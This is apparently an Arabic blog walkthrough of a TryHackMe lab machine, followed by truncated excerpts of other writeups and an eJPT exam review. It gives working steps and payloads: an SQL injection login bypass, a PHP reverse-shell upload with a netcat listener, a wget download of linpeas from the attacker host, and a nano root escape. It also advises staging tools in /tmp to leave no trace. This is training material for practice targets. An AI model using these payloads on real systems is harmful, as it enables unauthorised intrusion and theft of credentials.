كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا بورت 80 و 8080، نرجع نسوي Aggressive سكان على نفس هذه البورتات
sudo nmap IP -vv -A -p 80,8080
البورت 80 و 8080 كلها عليها Apache server
نروح للمتصفح ونزور البورتات، بورت 8080 تعطينا صفحة تسجيل دخول، أما بورت 80 عندنا الصفحة الرئيسية لأباتشي سيرفير.
نرجع لصفحة تسجيل الدخول، ونشوف لو يضبط معاها SQL injection، واللي هو إننا ندخل في خانة اسم المستخدم
' or '1'='1' -- -
ثم نحط أي كلمة سر، بعد كذا نسوي sign in، وبيضبط معانا، معناته إن هذه الصفحة vulnerable to SQLi.
أول ما ندخل بيطلع معانا الصفحة الرئيسية وبداخلها ألبومات وصور. وبرضو في أعلى الصفحة باليسار بنلاحظ مكتوب Simple Image Gallery وهذا نوع من الـCMS، واللي هي Content Management Systems وهي أنظمة تساعد المستخدمين يسوون، ويديرون، ويعدلون على مواقع إنترنت، بدون ما يكون عندهم معرفة كبيرة بالبرمجة، أو حتى ما يكون عندهم معرفة إطلاقًا، مثال عليها WordPress.
في الشريط الأزرق الغامق أعلى الصفحة في الموقع نضغط على Albums، ثم لما يفتح معانا صفحة الألبومات نضغط على Add New ونسميه أي اسم مثلا test، ثم قبل ما نكمل نرجع لجهازنا ونجهز الـshell، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN لجهازكم، والبورت نفس ما تبغون. ننسخ الشيل ونرجع للجهاز نسوي ملف اسمه shell.php ونلصق فيه الكود.
ثم نجهز الـ listener
nc -nlvp 4444
الحين نرجع للموقع ونروح للألبوم الجديد ونضغط عليه، ثم نضغط على upload، وعشان تنعرض كل الملفات، تحت في مستعرض الملفات بدل ما يكون Image Files نختار All Files
ثم نختار الشيل، بعد ما نرفعها نضغط عليها، هي بتكون معروضه في الموقع كصورة، فنفتحها وعلطول بيوصل لنا اتصال على جهازنا.
وبما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
دخلنا على النظام كـwww-data، فنروح للـhome directory له وهو var/www/ وعرفنا هذا من خلال استعراضنا للملف etc/passwd/
cd /var/www
ثم نروح لـhtml، لأن بالعادة يكون هنا معلومات مفيدة
cd html
ls
عندنا مجلد gallery
cd gallery
ls
وبداخله مجموعة كبيرة من الملفات، وفيه ملفات مُلفتة موجودة مثل config.php، وبرضو مجلد database، وأيضا ملف initialize.php.
نبدأ أول شيء بملف config.php ونستعرضه cat config.php، لكن ما لقينا فيه معلومة مهمة. نرجع لـdatabase
cd database
ls -a
لكن برضو ما بداخله شيء، نرجع للمجلد الرئيسي
cd ..
ثم نستعرض initialize
cat initialize.php
بداخل هذا الملف لقينا المعلومات اللي نحتاجها عشان نسجل دخول على قاعدة البيانات الموجودة على النظام، كلمة السر، اسم المستخدم، اسم قاعدة البيانات، فالحين نقدر ندخل على قاعدة البيانات، لكن قبل كذا بنعدل الصفوف والأعمدة للتيرمينال عشان ما تحوس علينا مع طول الكوماند
أول شيء نفتح نافذة جديدة ونخلي مقاس الخط مثل اللي احنا شغالين عليها، ثم نشغل الكوماند
stty -a
ونشوف كم قيمة الصفوف والأعمدة
ونروح نسجل نفس القيمة على جهاز الضحية باستخدام هذه الكوماند
stty rows 31; stty cols 134
الحين نسجل دخول لقاعدة البيانات باستخدام هذه الكوماند
mysql --user=gallery_user --password=***** gallery_db
ثم لما ندخل بيتغير عندي الـprompt إلى MariaDB gallery_db
أول شيء نشوف وش عندي جداول
show tables;
طلع معاي عدد من الجداول، اللي ممكن نلقى فيه معلومات مفيدة هو Users
select * form users;
طلع معاي فقط entry واحد لمستخدم اسمه Administrator، وكلمة السر موجودة ولكنها مشفرة
عشان نخرج من قاعدة البيانات
exit;
ثم نروح لـhome ونشوف وش عندي مستخدمين
cd /home
ls
عندي مستخدمين وهم mike و ubuntu
cd mike
ls -l
بنلقى بداخله user.txt ولكن للأسف ما نقدر نقرأه، اللي يقدر يقرأه هو mike، اللي بنسويه الحين إننا بنحاول نبحث عن طريقة تخلينا نستطيع نسجل دخول كـmike، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير
python3 -m http.server
وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
wget http://OpenVPN-IP:8000/linpeas.sh
ثم نغير صلاحياته لملف تشغيلي
chmod +x linpeas.sh
ثم نشغله
./linpeas.sh
في النتائج بنلاحظ عند الـhistory فيه كلمة دخلها المستخدم بعد ما استخدم الكوماند sudo -l، وهذه الكوماند تطلب كلمة السر عند استخدامها.
فبننسخ كلمة السر، ونشوف إذا تضبط معانا لو استخدمناها وسجلنا دخول كـmike
su mike
ثم ندخل كلمة السر، وبكذا بنصير mike، نرجع لـ home
cd /home/mike
cat user.txt
وبكذا يكون حصلنا على أول فلاق ✨.
باقي لنا الحين الـroot.txt، وعشان نقرأه نحتاج يكون عندنا صلاحيات، فبنشوف وش الكوماندز اللي يقدر mike ينفذها بصلاحيات رووت باستخدام sudo -l
طلع إنو المستخدم mike يقدر يشغل السكريبت rootkit.sh بصلاحيات رووت بدون كلمة سر. بنستعرض السكريبت ونشوف وش يسوي
cat /opt/rootkit.sh
هذا السكريبت يسوي 4 أشياء، يا يعطيني رقم النسخة لـrkhunter، أو يسوي له تحديث، أو يعرض لي قائمة، أما آخر خيار فبيعرض لي ملف report.txt باستخدام nano، يعني باختصار بيكون عندي القدرة إني افتح nano بصلاحيات root عن طريق إني إذا شغلت السكريبت أدخل read.
الحين نحتاج نبحث عن طريقة نستغل بها nano ونحصل على root shell، وفيه موقع ممتاز اسمه GTFObins، نروح له ونبحث nano. ثم تحت sudo بنشوف شارح لنا الطريقة، ننفذ 3 كوماندز، أول وحده ما بنستخدمها، لأننا ما بنشغل nano مباشرة باستخدام sudo، بل بنشغلها من داخل سكريبت مشغلينه بصلاحيات root، إذن فقط بنستخدم الكوماند 2 و3 .
نرجع للتارقيت ونشغل السكريبت
sudo /bin/bash /opt/rootkit.sh
ثم لما يسألني اختار read
أول ما يفتح نافذة nano على الكيبورد نضغط ctrl + r ثم ctrl +x ثم reset; sh 1>&0 2>&0 ثم نضغط enter، وعلطول بيعطينا root shell، نضغط enter برضو أكثر من مرة، حتى تترتب معانا الشاشة، ثم نسوي spawn لـbash
/bin/bash -i
عشان يصير أوضح المسارات والتعامل مع الـshell برضو يكون أسهل.
بسم الله اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط: رابط التحدي: https://tryhackme.com/r/room/blog ==================================================== كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap sudo nmap IP -vv طلع معانا 4 بورتات، نرجع نسوي Aggressive سكان عليها sudo nmap IP -vv -A -p 22,80,139,445 على بورت 22 عندنا SSH ونظام التشغيل لجهاز الضحية هو Ubuntu، وعلى بورت 80 عندنا Apache server، أما بورت 139 و 445 متعلقة بالـsmb. برضو أعطانا في النتائج إن الـhttp generator هو WordPress وبرضو أعطانا رقم النسخة وهو 5.0، وهذه معلومة مفيدة ومهمة. إذا زرنا الصفحة على بورت 80 في المتصفح، بنلاقي بلوق للمستخدم Billy وفيها بوستات، ولكن ما بداخل هذه البوستات شيء مهم. و زي ما قال لنا في التحدي، بنضيف الموقع إلى ملف etc/hosts/ على الجهاز الحين بنستفيد من الـsmb على جهاز الض...
بسم الله الرحمن الرحيم اختبرت اختبار eJPTv2 والحمدلله حصلت على الشهادة. ← أول شيء، ايش تحتاجون من معرفة سابقة قبل ما تبدؤون الاختبار؟ تحتاجون معرفة بالشبكات ونظام لينكس ونظام ويندوز، في حالة ما كان عندكم معرفة فيها ما بيكفي الكورس اللي يجي مع الشهادة من وجهة نظري، كثير من المواضيع أو اللابات تفترض المعرفة السابقة بهالمواضيع. بالنسبة لويندوز ولينيكس مطلوب فهم التعامل مع النظام بال command line أهم شيء. أما الشبكات تحتاج تكونون فاهمينها كويس وطريقة عملها، لأن في الاختبار بينطلب pivoting وهو الانتقال لشبكة أخرى بواسطة جهاز وسيط تم اختراقه، هذه الخطوة تحتاج فهم جيد للشبكات. إذا كان معاكم معرفة بسيطة بهالمواضيع ممكن تبدؤون الكورس وخلال الدراسة لو في شيء جديد واجهكم تبحثون عنه، لكن إذا مافي معرفة سابقة أنصح بأخذ كورس لأي من النقاط اللي تحتاج منكم تطوير ثم البدء في الشهادة. ← ثاني شيء، كم أحتاج مدة عشان أحصل على الشهادة ؟ هذه نقطة مهمة 😊 ، المدة تختلف كثييييير لكل شخص ويؤثر عليها هل هذا الشخص سبق وحل تحديات ctf لأنها تعطي مهارة وتسهل بشكل كبير فهم الكورس، برضو تخت...
بسم الله للي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط: رابط التحدي: https://tryhackme.com/r/room/blueprint =========================================================== كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـ IP للمشين حقتكم على TryHackMe أول حاجة نشغل الـ machine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap sudo nmap IP -vv طلع معانا عدد كبير من البورتات، لكن بنترك البورتات اللي أرقامها كبيرة وبنركز على أول 7 بورتات، فنرجع نسوي Aggressive سكان عليها sudo nmap IP -vv -A -p 80,135,139,443,445,3306,8080 من خلال السكان عرفنا إن عندنا على بورت 8080 صفحة Index of نروح نزور الصفحة ونشوف الملفات اللي بداخلها، إذا رحنا للمتصفح على http://IP:8080 بنلاقي مجلد oscommerce-2.3.4 إذا ضغطنا عليه بيودينا على صفحة فيها مجلدين، نضغط على catalog وبيفتح معانا موقع تجارة إلكترونية ولكن أبدا مو مرتب وتعبان جدا، هذا يعطي احتمال إن هذه النسخة من هذا الموقع قديمة وعل...
Comments
Post a Comment